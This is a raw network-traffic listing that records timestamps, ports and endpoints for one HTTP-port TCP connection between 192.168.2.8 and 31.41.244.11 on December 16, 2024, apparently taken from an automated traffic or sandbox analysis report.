Dec 16, 2024 17:02:10.016318083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.019809961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.019850016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.019937992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.019994974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.024533987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.024574995 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.024662971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.024698019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.029177904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.029227972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.029304981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.029357910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.033751011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.033802032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.033862114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.033905029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.038209915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.038256884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.038341999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.038393021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.042727947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.042782068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.042798996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.042839050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.047256947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.047297955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.047358990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.047399044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.052881002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.052908897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.052932024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.052953959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.056777000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.056828022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.056873083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.056915045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.060961962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.061036110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.061100006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.061140060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.064699888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.064759970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.064764023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.064796925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.068289995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.068331957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.068442106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.068494081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.072117090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.072164059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.072293043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.072345018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.075607061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.075661898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.075743914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.075783014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.079544067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.079587936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.079847097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.079885006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.084472895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.084547997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.084562063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.084605932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.087738991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.087821007 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.087943077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.087981939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.090887070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.090936899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.211694002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.211764097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.211774111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.211812019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.212982893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.213026047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.213073015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.213108063 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.215692997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.215747118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.215751886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.215786934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.218182087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.218236923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.218317032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.218368053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.220835924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.220899105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.221072912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.221111059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.223678112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.223732948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.223777056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.223812103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.226125002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.226172924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.226187944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.226217031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.228708029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.228792906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.228801012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.228837013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.231133938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.231189013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.231241941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.231298923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.233761072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.233834982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.233858109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.233890057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.236411095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.236469984 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.236515999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.236553907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.239010096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.239063025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.239212990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.239260912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.241705894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.241751909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.241771936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.241790056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.244463921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.244513988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.244515896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.244549036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.247287035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.247353077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.247384071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.247433901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.249386072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.249432087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.249535084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.249572992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.251957893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.252002001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.252036095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.252072096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.254590034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.254648924 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.254703045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.254740000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.257158995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.257251024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.257325888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.257379055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.260107994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.260169029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.260204077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.260240078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.262276888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.262340069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.262397051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.262438059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.264952898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.264996052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.265141964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.265182972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.267565012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.267611027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.267647982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.267673969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.270153046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.270203114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.270256042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.270294905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.272728920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.272779942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.272803068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.272849083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.275238037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.275285006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.275403023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.275449038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.278070927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.278131962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.278177023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.278215885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.280457020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.280505896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.280565023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.280601025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.283044100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.283099890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.283160925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.283206940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.285665989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.285733938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.285768032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.285809994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.288279057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.288321018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.288332939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.288357973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.290848017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.291013002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.291019917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.291062117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.294173002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.294240952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.294332027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.294378042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.296442032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.296489954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.296538115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.296580076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.298804998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.298852921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.298922062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.298971891 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.301249981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.301322937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.403321028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.403414965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.403419018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.403464079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.404577971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.404618025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.404774904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.404844999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.406866074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.406905890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.406975985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.407016039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.409363031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.409408092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.409516096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.409554958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.411645889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.411689043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.411741018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.411783934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.414046049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.414093971 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.414128065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.414175034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.416233063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.416287899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.416327000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.416382074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.418446064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.418494940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.418576002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.418620110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.420658112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.420708895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.420785904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.420835018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.422774076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.422822952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.422858000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.422903061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.424968958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.425019979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.425132036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.425174952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.426973104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.427021980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.427092075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.427139997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.429043055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.429090023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.429130077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.429169893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.431093931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.431149960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.431233883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.431272984 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.433273077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.433337927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.433356047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.433398008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.435240030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.435340881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.435496092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.435616970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.437288046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.437345028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.437381983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.437422991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.439351082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.439412117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.439452887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.439496040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.441582918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.441639900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.441814899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.441863060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.443566084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.443627119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.443630934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.443672895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.445530891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.445611954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.445631981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.445671082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.447575092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.447624922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.447802067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.447844982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.449778080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.449841976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.449852943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.449889898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.451780081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.451841116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.451939106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.451984882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.453861952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.453921080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.453950882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.453994036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.455831051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.455895901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.455930948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.455972910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.458141088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.458190918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.458256960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.458307028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.460237980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.460289001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.460375071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.460427046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.462147951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.462202072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.462253094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.462300062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.464195013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.464247942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.464261055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.464296103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.466223001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.466301918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.466339111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.466379881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.468553066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.468610048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.468718052 CET	80	49708	31.41.244.11	192.168.2.8
